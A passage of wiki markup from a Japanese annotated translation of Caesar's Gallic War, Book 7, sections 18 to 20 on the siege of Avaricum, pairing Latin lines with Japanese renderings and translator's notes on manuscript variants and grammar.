*ex [[wikt:en:captivus#Noun|captivis]] Caesar [[wikt:en:cognovit#Latin|cognovit]], 
**カエサルは、捕虜たちから&lt;small&gt;（以下のことを）&lt;/small&gt;知った。
*[[wikt:en:Vercingetorix#Latin|Vercingetorigem]], [[wikt:en:consumptus#Latin|consumpto]] [[wikt:en:pabulum#Latin|pabulo]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は[[w:糧秣|糧秣]]を消費し切ると、
*castra [[wikt:en:movisse#Latin|movisse]] propius [[wikt:en:Avaricum#Latin|Avaricum]], 
**陣営をアウァーリクムのより近くに移動させて、
*atque ipsum cum [[wikt:en:equitatus#Latin|equitatu]] [[wikt:en:expeditus#Noun|expeditis]]&lt;nowiki&gt;que&lt;/nowiki&gt;, qui inter [[wikt:en:eques#Latin|equites]] [[wikt:en:proeliari#Verb|proeliari]] [[wikt:en:consuessent#Latin|consuessent]], 
**彼自身は、[[w:騎兵|騎兵]]隊、および騎兵たちの間で争闘することに習熟していた[[w:軽装歩兵|軽装歩兵]]たちとともに、
*&lt;u&gt;insidiarum&lt;/u&gt; causa eo [[wikt:en:profectus#Etymology_3|profectum]], quo nostros postero die [[wikt:en:pabulatum#Verb|pabulatum]] [[wikt:en:venturus#Latin|venturos]] [[wikt:en:arbitraretur#Latin|arbitraretur]]. 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が翌日に糧秣徴発にやって来るであろうと思われるところで待ち伏せするために、出発した、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:insidiarum|insidiarum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:insidiandi#Latin|insidiandi]] となっている。）&lt;/span&gt;

[[画像:AVARICUM Battaglia 52 aC.png|thumb|right|300px|アウァーリクム攻略戦の布陣図（&lt;small&gt;イタリア語&lt;/small&gt;）。中央がアウァーリクム（AVARICUM）、右下の赤枠内がカエサルと8個軍団の陣営、赤い矢印の先端がローマ軍の土塁。左上の楕円形がウェルキンゲトリークスが移動させた陣営。]]
[[画像:Funerary chariot in the archeological museum of Strasbourg.jpg|thumb|right|300px|[[w:ハルシュタット文化|ハルシュタット文化]]の墳墓の副葬品として発掘された '''四輪荷馬車''' のレプリカ（仏ストラスブール考古学博物館）。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Quibus rebus [[wikt:en:cognitus#Participle|cognitis]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;それらの事情を知るや、
*media nocte [[wikt:en:silentium#Latin|silentio]] [[wikt:en:profectus#Etymology_3|profectus]] 
**真夜中の静けさのうちに出発して、
*ad hostium castra [[wikt:en:mane#Adverb_2|mane]] [[wikt:en:pervenit#Etymology_2|pervenit]]. 
**敵の陣営の辺りへ朝方に到着した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi, celeriter per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:adventus#Latin|adventu]] Caesaris [[wikt:en:cognitus#Participle|cognito]] 
**あの者たちは、速やかに斥候たちを通じてカエサルの到来を知るや、
*&lt;u&gt;carros&lt;/u&gt; [[wikt:en:impedimentum#Latin|impedimenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; sua in [[wikt:en:artior#Latin|artiores]] [[wikt:en:silva#Latin|silvas]] [[wikt:en:abdiderunt#Latin|abdiderunt]], 
**自分たちの&lt;u&gt;四輪荷馬車&lt;/u&gt;と[[w:輜重|輜重]]をとても深い森の中に隠して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：四輪荷馬車 [[wikt:en:carrus#Latin|carrus]] は、例えば右の画像のものを参照。）&lt;/span&gt;
*copias omnes in loco [[wikt:en:editus#Latin|edito]] atque [[wikt:en:apertus#Latin|aperto]] [[wikt:en:instruxerunt#Latin|instruxerunt]]. 
**全軍勢を高くそびえて開けている場所に配置した。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qua re [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事を報告されて、
*Caesar celeriter [[wikt:en:sarcina#Latin|sarcinas]] [[wikt:en:conferri#Latin|conferri]], 
**カエサルは速やかに&lt;small&gt;（兵士たちの）&lt;/small&gt;[[w:背嚢|背嚢]]が運び集められること、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:expediri#Latin|expediri]] [[wikt:en:iussit#Verb|iussit]].
**武具が&lt;small&gt;（すぐ使えるように）&lt;/small&gt;整えられることを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===19節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/19節]]　{{進捗|00%|2026-04-20}}&lt;/span&gt;
;丘の上のガッリア勢と沼沢を挟んで対峙する
:　
;　　　ガッリア勢の陣営の地勢
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:collis#Latin|Collis]] erat &lt;u&gt;leniter&lt;/u&gt; ab [[wikt:en:infimus#Latin|infimo]] [[wikt:en:adclivis#Latin|adclivis]]. 
**&lt;small&gt;（ガッリア勢がいる）&lt;/small&gt;丘陵はふもとから緩やかに、登り坂になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系･&amp;chi;系･B･M･S･N&lt;sup&gt;c&lt;/sup&gt; 写本では [[wikt:en:leviter#Latin|leviter]] 、&lt;br&gt;　　　　　　　　　L･N写本では [[wikt:en:breviter#Latin|breviter]] だが、&lt;br&gt;　　　　　　　　　より劣った写本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|codd.deter.]]'' では [[wikt:en:leniter#Latin|leniter]] となっている。

*Hunc ex omnibus fere partibus [[wikt:en:palus#Latin|palus]] [[wikt:en:difficilis#Latin|difficilis]] atque [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:cingebat#Latin|cingebat]] 
**これ&lt;small&gt;〔丘陵〕&lt;/small&gt;を、ほぼすべての方角から、不便で通りにくい沼地が取り巻いていて、
*non [[wikt:en:latior#Latin|latior]] [[wikt:en:pes#Latin|pedibus]] [[wikt:en:quinquaginta#Latin|quinquaginta]]. 
**&lt;small&gt;（その沼地は）&lt;/small&gt;50&lt;u&gt;[[w:ペース (長さ)|ペース]]&lt;/u&gt;より幅広くなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、50ペースは約15メートル弱。）&lt;/span&gt;
:　
;　　　丘の周囲を部族ごとに分かれて守備している
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc se [[wikt:en:collis#Latin|colle]] [[wikt:en:interruptus#Latin|interruptis]] [[wikt:en:pons#Latin|pontibus]] 
**この丘陵において、橋梁を破却すると、
*Galli [[wikt:en:fiducia#Latin|fiducia]] loci [[wikt:en:continebant#Latin|continebant]] 
**ガッリア人たちは、地勢を頼りに留まっていて、
*[[wikt:en:generatim#Latin|generatim]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:distributus#Latin|distributi]] in civitates 
**&lt;small&gt;（軍勢を）&lt;/small&gt;諸部族の種族ごとに分けて配置させて、
*omnia [[wikt:en:vadum#Latin|vada]] ac [[wikt:en:saltus#Etymology_2|saltus]] eius [[wikt:en:palus#Latin|paludis]] &lt;u&gt;certis custodiis&lt;/u&gt; [[wikt:en:obtinebant#Latin|obtinebant]], 
**その沼地の、すべての浅瀬や隘路を &lt;u&gt;一定の護衛兵たちによって&lt;/u&gt; 占領していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:certus#Latin|certis]] [[wikt:en:custodia#Latin|custodiis]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; animo [[wikt:en:paratus#Latin|parati]] &lt;u&gt;ut&lt;/u&gt;, si eam [[wikt:en:palus#Latin|paludem]] Romani [[wikt:en:perrumpo#Latin|perrumpere]] [[wikt:en:conarentur#Latin|conarentur]], [[wikt:en:haesitans#Latin|haesitantes]] [[wikt:en:premerent#Latin|premerent]] ex loco [[wikt:en:superior#Latin|superiore]]; 
**もしローマ勢がその沼地を強行突破せんと試みたならば、ぐずぐずしている者らを高地から圧倒する心積もりであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
:　
;　　　両軍は互角か？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; ut, qui [[wikt:en:propinquitas#Latin|propinquitatem]] loci [[wikt:en:videret#Latin|videret]], 
**&lt;small&gt;（両軍の）&lt;/small&gt;陣地が近接していることを見た者は、
*[[wikt:en:paratus#Latin|paratos]] prope [[wikt:en:aequus#Latin|aequo]] &lt;u&gt;Marte&lt;/u&gt; ad [[wikt:en:dimicandum#Latin|dimicandum]] [[wikt:en:existimaret#Latin|existimaret]], 
**&lt;small&gt;（ガッリア勢がローマ勢に対して）&lt;/small&gt;ほぼ互角の戦い&lt;small&gt;（の条件）&lt;/small&gt;で闘うつもりでいると考えただろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:Mars#Proper_noun_22|Mars]]「戦争の神マールス」ではなく、&lt;br&gt;　　　　　　　　　[[wikt:en:Mars#Noun_4|Mars]]「戦争、闘い」そのものを指す。）&lt;/span&gt;
;　　　ガッリア勢は不利なのに虚勢を張っているのか？
*qui [[wikt:en:iniquitas#Latin|iniquitatem]] [[wikt:en:condicio#Latin|condicionis]] [[wikt:en:perspiceret#Latin|perspiceret]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;条件の不利なことを見通した者は、
*[[wikt:en:inanis#Latin|inani]] [[wikt:en:simulatio#Latin|simulatione]] sese [[wikt:en:ostentare#Latin|ostentare]] [[wikt:en:cognosceret#Latin|cognosceret]]. 
**&lt;small&gt;（ガッリア勢が）&lt;/small&gt;虚栄の見せかけで己を誇示していることを、理解しただろう。
:　
;　　　カエサルが、至近距離の敵への攻撃にいきり立つ将兵らを教え諭す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indignans#Latin|Indignantes]] [[wikt:en:miles#Latin|milites]] Gaesar, 
**カエサルは&lt;small&gt;（ガッリア勢の誇示に）&lt;/small&gt;憤慨している兵士たちに、
*quod [[wikt:en:conspectus#Noun_2|conspectum]] suum hostes &lt;u&gt;perferre&lt;/u&gt; [[wikt:en:possent#Latin|possent]] [[wikt:en:tantulus#Latin|tantulo]] [[wikt:en:spatium#Latin|spatio]] [[wikt:en:interiectus#Latin|interiecto]], 
**──というのも、これほどのわずかな距離しか介在してないのに、敵勢が自分らを&lt;small&gt;（平然と）&lt;/small&gt;見据えていられるためだが──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:perferre#Latin|perferre]] だが、&amp;beta;系写本では [[wikt:en:ferre#Latin|ferre]] となっている。）&lt;/span&gt;
*et signum proelii [[wikt:en:exposcens#Latin|exposcentes]] [[wikt:en:edocet#Latin|edocet]], 
**および戦闘の合図を熱心に求めている者たちに対して&lt;small&gt;（以下のように）&lt;/small&gt;説く。
*[[wikt:en:quantus#Latin|quanto]] [[wikt:en:detrimentum#Latin|detrimento]] et [[wikt:en:quot#Latin|quot]] [[wikt:en:vir#Latin|virorum]] [[wikt:en:fortis#Latin|fortium]] [[wikt:en:mors#Latin|morte]] [[wikt:en:necesse#Adverb|necesse]] sit [[wikt:en:constare#Latin|constare]] [[wikt:en:victoria#Latin|victoriam]]; 
**勝利を確実にすることが、どれほどの損害と、どれほど多くの勇敢な&lt;ruby&gt;&lt;rb&gt;兵士&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの死を必要とするか、を。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　多くのローマ兵が死に瀕すれば、カエサル自身が戦争犯罪で弾劾されるだろう
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; quos cum &lt;u&gt;sic&lt;/u&gt; [[wikt:en:animus#Latin|animo]] [[wikt:en:paratus#Latin|paratos]] [[wikt:en:videat#Latin|videat]], &lt;u&gt;ut&lt;/u&gt; [[wikt:en:nullus#Determiner|nullum]] pro sua [[wikt:en:laus#Latin|laude]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:recusent#Latin|recusent]], 
**彼ら&lt;small&gt;〔兵士たち〕&lt;/small&gt;が己の賞賛のためにいかなる危険をも辞さない心積もりであると&lt;small&gt;（カエサルは）&lt;/small&gt;見て取ったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pro sua laude 「自らの賞賛のために」は、「カエサルの賞賛のために」と解することもできる。&lt;br&gt;　　　　しかし、共和制国家に忠誠を誓っているはずの兵士らが、カエサル個人のために命を投げ出そうとする記述は、&lt;br&gt;　　　　野心家カエサルが軍隊を私兵化しようとしている野望をさらけ出すことになり、政敵たちを利することになる。）&lt;/span&gt;
*[[wikt:en:summus#Latin|summae]] se [[wikt:en:iniquitas#Latin|iniquitatis]] [[wikt:en:condemnari#Latin|condemnari]] [[wikt:en:debere#Latin|debere]], [[wikt:en:nisi#Conjunction|nisi]] eorum [[wikt:en:vita#Latin|vitam]] sua [[wikt:en:salus#Latin|salute]] [[wikt:en:habeat#Latin|habeat]] [[wikt:en:carior#Latin|cariorem]]. 
**&lt;small&gt;&lt;/small&gt;彼ら&lt;small&gt;〔兵士〕&lt;/small&gt;の生命を己&lt;small&gt;〔カエサル〕&lt;/small&gt;の安全より貴重と思わない限り、自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は極度の不正のために告発されるに違いない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：すでにサビーヌスら多くのローマ市民が戦死しており、ここでさらに多くのローマ市民を死なせることは、&lt;br&gt;　　　　カエサルから軍隊を取り上げることを主張していた政敵たちから厳しく糾弾されることになったであろう。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sic [[wikt:en:miles#Latin|milites]] [[wikt:en:consolatus#Latin|consolatus]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;このように兵士たちを&lt;ruby&gt;&lt;rb&gt;宥&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;めて、
*eodem die [[wikt:en:reducit#Latin|reducit]] in castra 
**同日に陣営の中に連れ戻して、
*[[wikt:en:reliquus#Latin|reliqua]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae ad [[wikt:en:oppugnatio#Latin|oppugnationem]] &lt;u&gt;[[wikt:en:pertinebant#Latin|pertinebant]] [[wikt:en:oppidum#Latin|oppidi]]&lt;/u&gt; [[wikt:en:administrare#Latin|administrare]] [[wikt:en:instituit#Latin|instituit]].
**城塞都市&lt;small&gt;〔アウァーリクム〕&lt;/small&gt;の攻略に関わっているほかのことに従事することを決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･B･M･S写本では pertinebant oppidi の語順だが、&lt;br&gt;　　　　　　　　　L･N･β系写本では oppidi pertinebant の語順となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===20節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/20節]]　{{進捗|00%|2026-05-04}}&lt;/span&gt;
;ウェルキンゲトリークスが味方に弁明し、捕虜に問い質す
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], cum ad suos [[wikt:en:redisset#Latin|redisset]], [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatus#Latin|insimulatus]],
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、味方のもとに戻った際に、&lt;small&gt;（以下のことで）&lt;/small&gt;裏切りだと非難されていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、[[wikt:en:quod#Conjunction|quod]] ～ で箇条書き。）&lt;/span&gt;
*quod [[wikt:en:castra#Latin|castra]] [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:movisset#Latin|movisset]], 
**陣営をローマ人たちのより近くに移動させていたこと、
*quod cum omni [[wikt:en:equitatus#Noun|equitatu]] [[wikt:en:discessisset#Latin|discessisset]], 
**全[[w:騎兵|騎兵隊]]とともに&lt;small&gt;（陣営を）&lt;/small&gt;離れていたこと、
*quod sine [[wikt:en:imperium#Latin|imperio]] [[wikt:en:tantus#Latin|tantas]] [[wikt:en:copiae#Latin|copias]] [[wikt:en:reliquisset#Latin|reliquisset]], 
**司令権&lt;small&gt;（を持つ者）&lt;/small&gt;なしに、これほど多くの軍勢を置き去りにしていたこと、
*quod eius [[wikt:en:discessus#Noun|discessu]] [[wikt:en:Romani#Latin|Romani]] [[wikt:en:tantus#Latin|tanta]] [[wikt:en:opportunitas#Latin|opportunitate]] et [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:venissent#Latin|venissent]]; 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の退去によりローマ人がこれほどの好機とこれほどの迅速さでやって来ていたこと、である。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; non haec omnia [[wikt:en:fortuito#Latin|fortuito]] aut sine [[wikt:en:consilium#Latin|consilio]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:potuisse#Latin|potuisse]]; 
**──これらすべてが偶然に、あるいは謀りごとなしに起こることはあり得なかったのだ。
*[[wikt:en:regnum#Latin|regnum]] illum Galliae &lt;u&gt;malle&lt;/u&gt; Caesaris [[wikt:en:concessus#Noun|concessu]] &lt;u&gt;quam&lt;/u&gt; ipsorum habere [[wikt:en:beneficium#Latin|beneficio]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は&lt;small&gt;（ガッリア人）&lt;/small&gt;自身の厚遇を得ることよりもむしろカエサルの許しにより[[w:ガリア|ガッリア]]の王権&lt;small&gt;（を持つこと）&lt;/small&gt;を好んでいるのだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:malle#Latin|malle]] ～ quam …「…よりも、むしろ～を好む（選ぶ）」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ウェルキンゲトリークスが王権を望むあまり、同盟部族の生命をカエサルに売り渡したということである。）&lt;/span&gt;
[[画像:Vercingetorix_stater_n2_CdM_alternate.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガッリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
:　
;　　　━━ウェルキンゲトリークスの弁明が始まる━━
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:talis#Latin|tali]] [[wikt:en:modus#Latin|modo]] [[wikt:en:accusatus#Latin|accusatus]] 
**こんな風に非難されて、
*ad haec [[wikt:en:respondit#Latin|respondit]]: 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらのことへ答えた。
*Quod [[wikt:en:castra#Latin|castra]] [[wikt:en:movisset#Latin|movisset]], 
**陣営を移動させていたことは、
*[[wikt:en:factus#Latin|factum]] [[wikt:en:inopia#Latin|inopia]] [[wikt:en:pabulum#Latin|pabuli]], 
**[[w:糧秣|糧秣]]の欠乏によりなされたのであり、
*etiam ipsis [[wikt:en:hortans#Latin|hortantibus]]; 
**&lt;small&gt;（ガッリア人たち）&lt;/small&gt;自身が熱心に勧めることさえしているのだ。
*quod [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:accessisset#Latin|accessisset]], 
**ローマ人たちのより近くに近寄っていたことは、
*[[wikt:en:persuasus#Latin|persuasum]] loci [[wikt:en:opportunitas#Latin|opportunitate]], qui se &lt;u&gt;ipsum&lt;/u&gt; [[wikt:en:munitio#Latin|munitione]] [[wikt:en:defenderet#Latin|defenderet]]; 
**&lt;small&gt;（移動先の丘陵が）&lt;/small&gt;それ自体を&lt;small&gt;（沼地という天然の）&lt;/small&gt;要害により守っているという地の利に納得させられたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上記の se &lt;u&gt;ipsum&lt;/u&gt; munitione defenderet 「そのものを防御物によって守る」は主要写本 &amp;omega; の記述で、&lt;br&gt;''[[ガリア戦記/注解編/写本と校訂版#Bentley,_Thomas|Th. Bentley]]'' は se &lt;u&gt;ipse sine&lt;/u&gt; munitione defenderet 「そのものが防御物なしで守る」と修正提案している。）&lt;/span&gt;
:　
;　　　騎兵は、湿地帯での任務に適していない
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eques#Latin|equitum]] vero [[wikt:en:opera#Latin|operam]] 
**騎兵たちの働きはまさに、
*neque in loco [[wikt:en:paluster#Latin|palustri]] [[wikt:en:desiderari#Latin|desiderari]] [[wikt:en:debuisse#Latin|debuisse]] 
**沼沢地において望まれるべきものではなかったし、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：湿地・沼地では、ぬかるみに馬の足が取られるため、&lt;br&gt;　　　　騎兵の長所である機動力が著しく低下し、&lt;br&gt;　　　　速さを活かした偵察・突撃・迂回・追撃などがし難くなる。）&lt;/span&gt;
*et [[wikt:en:illic#Adverb|illic]] fuisse [[wikt:en:utilis#Latin|utilem]], quo sint [[wikt:en:profectus#Participle_2|profecti]]. 
**&lt;small&gt;（騎兵たちが）&lt;/small&gt;発って行ったところにおいては有効だったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#16節|16節]]冒頭の説明によれば、&lt;br&gt;　　　　ウェルキンゲトリークスが最初に宿営した場所は、&lt;br&gt;　　　　アウァーリクムから16マイル離れ、沼地や森林に守られていた。&lt;br&gt;　　　　[[#19節|19節]]では、より近い、沼地に囲まれたゆるやかな丘陵に移動したという。&lt;br&gt;　　　　この移動前後の地勢の優劣を、カエサルは必ずしも明瞭に説明していない。）&lt;/span&gt;
:　
;　　　兵は拙速を尊ぶ
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:summa#Latin|Summam]] [[wikt:en:imperium#Latin|imperii]] 
**&lt;small&gt;（軍勢の）&lt;/small&gt;最高司令権は、
*se [[wikt:en:consulto#Adverb|consulto]] [[wikt:en:nullus#Latin|nulli]] [[wikt:en:discedens#Latin|discedentem]] [[wikt:en:tradidisse#Latin|tradidisse]], 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自らが意図的に、立ち去るに当たって、誰にも委託しなかった。
*[[wikt:en:ne#Latin|ne]] is [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:studium#Latin|studio]] ad [[wikt:en:dimicandus#Latin|dimicandum]] [[wikt:en:impelleretur#Latin|impelleretur]]; 
**その者が大勢の熱意によって&lt;small&gt;（ローマ人と）&lt;/small&gt;闘うことに駆り立てられないように、である。
*cui rei &lt;u&gt;propter animi [[wikt:en:mollities#Latin|mollitiem]]&lt;/u&gt; [[wikt:en:studere#Latin|studere]] omnes [[wikt:en:videret#Latin|videret]], 
**その事&lt;small&gt;〔闘って決着を付けること〕&lt;/small&gt;を、&lt;u&gt;心の柔弱さのゆえに&lt;/u&gt;、皆が求めたがっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「心の柔弱さのゆえに、闘いがしたくなる」というのは、&lt;br&gt;　　　　一見すると奇妙に感じられるが、ここでの柔弱さ（[[wikt:en:mollities#Latin|mollities]]）とは、&lt;br&gt;　　　　長期の攻囲戦の労苦や疲弊に持ちこたえる忍耐力のなさを指し、&lt;br&gt;　　　　長い苦難から逃避するために早期決戦を志向する心理を意味すると考えられる。）&lt;/span&gt;
*quod [[wikt:en:diutius#Latin|diutius]] [[wikt:en:labor#Latin|laborem]] ferre non [[wikt:en:possent#Latin|possent]]. 
**──というのは、&lt;small&gt;（兵は）&lt;/small&gt;より長く&lt;small&gt;（攻囲戦の）&lt;/small&gt;労苦に耐えることができないからだ──。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[w:孫子 (書物)|孫子]]に曰く「兵は拙速を聞くも、未だ巧の久しきを&lt;ruby&gt;&lt;rb&gt;睹&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;み&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ざるなり」&lt;ref&gt;[[wikt:en:故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり|故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり]]
「戦争というものは、拙劣に短期決戦を挑んだ事例は聞くが、巧妙に長期戦を続けた事例は聞かない」の意。長い戦争は人々を消耗させ、疲弊させてしまう。&lt;/ref&gt;）&lt;/span&gt;
:　
;　　　ローマ人は、闘わずに退却したではないか
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Romani si [[wikt:en:casu#Latin|casu]] [[wikt:en:intervenerint#Latin|intervenerint]], [[wikt:en:fortuna#Latin|fortunae]], 
**もしローマ人たちが偶然に現われたのならば、命運に&lt;small&gt;（感謝するべきであり）&lt;/small&gt;、
*si [[wikt:en:alicuius#Latin|alicuius]] [[wikt:en:indicium#Latin|indicio]] [[wikt:en:vocatus#Latin|vocati]], huic [[wikt:en:habendus#Latin|habendam]] [[wikt:en:gratia#Latin|gratiam]], 
**もし&lt;small&gt;（ローマ人たちが）&lt;/small&gt;何者かの申し立てに呼ばれて来たのならば、その者に感謝するべきだ。
*quod &lt;u&gt;et&lt;/u&gt; [[wikt:en:paucitas#Latin|paucitatem]] eorum ex loco [[wikt:en:superior#Latin|superiore]] [[wikt:en:cognosco#Latin|cognoscere]] 
**──というのは、より高い位置から彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;の少なさを知ることも、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:virtus#Latin|virtutem]] [[wikt:en:despicio#Latin|despicere]] [[wikt:en:potuerint#Latin|potuerint]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;武勇とやらを見下すこともできたのだから。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～も…も」）&lt;/span&gt;
*qui [[wikt:en:dimico#Latin|dimicare]] non [[wikt:en:ausus#Participle|ausi]] 
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;は闘うことをあえてせずに、
*[[wikt:en:turpiter#Latin|turpiter]] se in castra [[wikt:en:receperint#Latin|receperint]]. 
**見苦しくも陣営に退却したのだ──。
:　
;　　　ガッリア人が勝つのだから、カエサルに寝返るはずがない
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:imperium#Latin|Imperium]] se &lt;u&gt;ab&lt;/u&gt; Caesare per [[wikt:en:proditio#Latin|proditionem]] [[wikt:en:nullus#Latin|nullum]] [[wikt:en:desidero#Latin|desiderare]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、カエサルから裏切りを通じて、どのような司令権も望んではいない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の (2) 項では、味方のガッリア人たちは、ウェルキンゲトリークスが&lt;br&gt;　　　　カエサルにより [[wikt:en:regnum#Latin|regnum]]（王権、支配権）を得ようとしていると非難したのに対し、&lt;br&gt;　　　　彼は [[wikt:en:imperium#Latin|imperium]]（軍隊司令権、または支配権）という言葉を巧妙に引きずって答えている。&lt;br&gt;　　　　もちろん、言葉を変えたのは、筆者カエサル自身であろう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は&amp;alpha;系写本の記述で、&amp;beta;系写本では a となっている。）&lt;/span&gt;
*quod habere [[wikt:en:victoria#Latin|victoria]] [[wikt:en:posset#Latin|posset]],
**&lt;small&gt;（支配権は、ローマ人に対する）&lt;/small&gt;勝利によって得られるものであり、
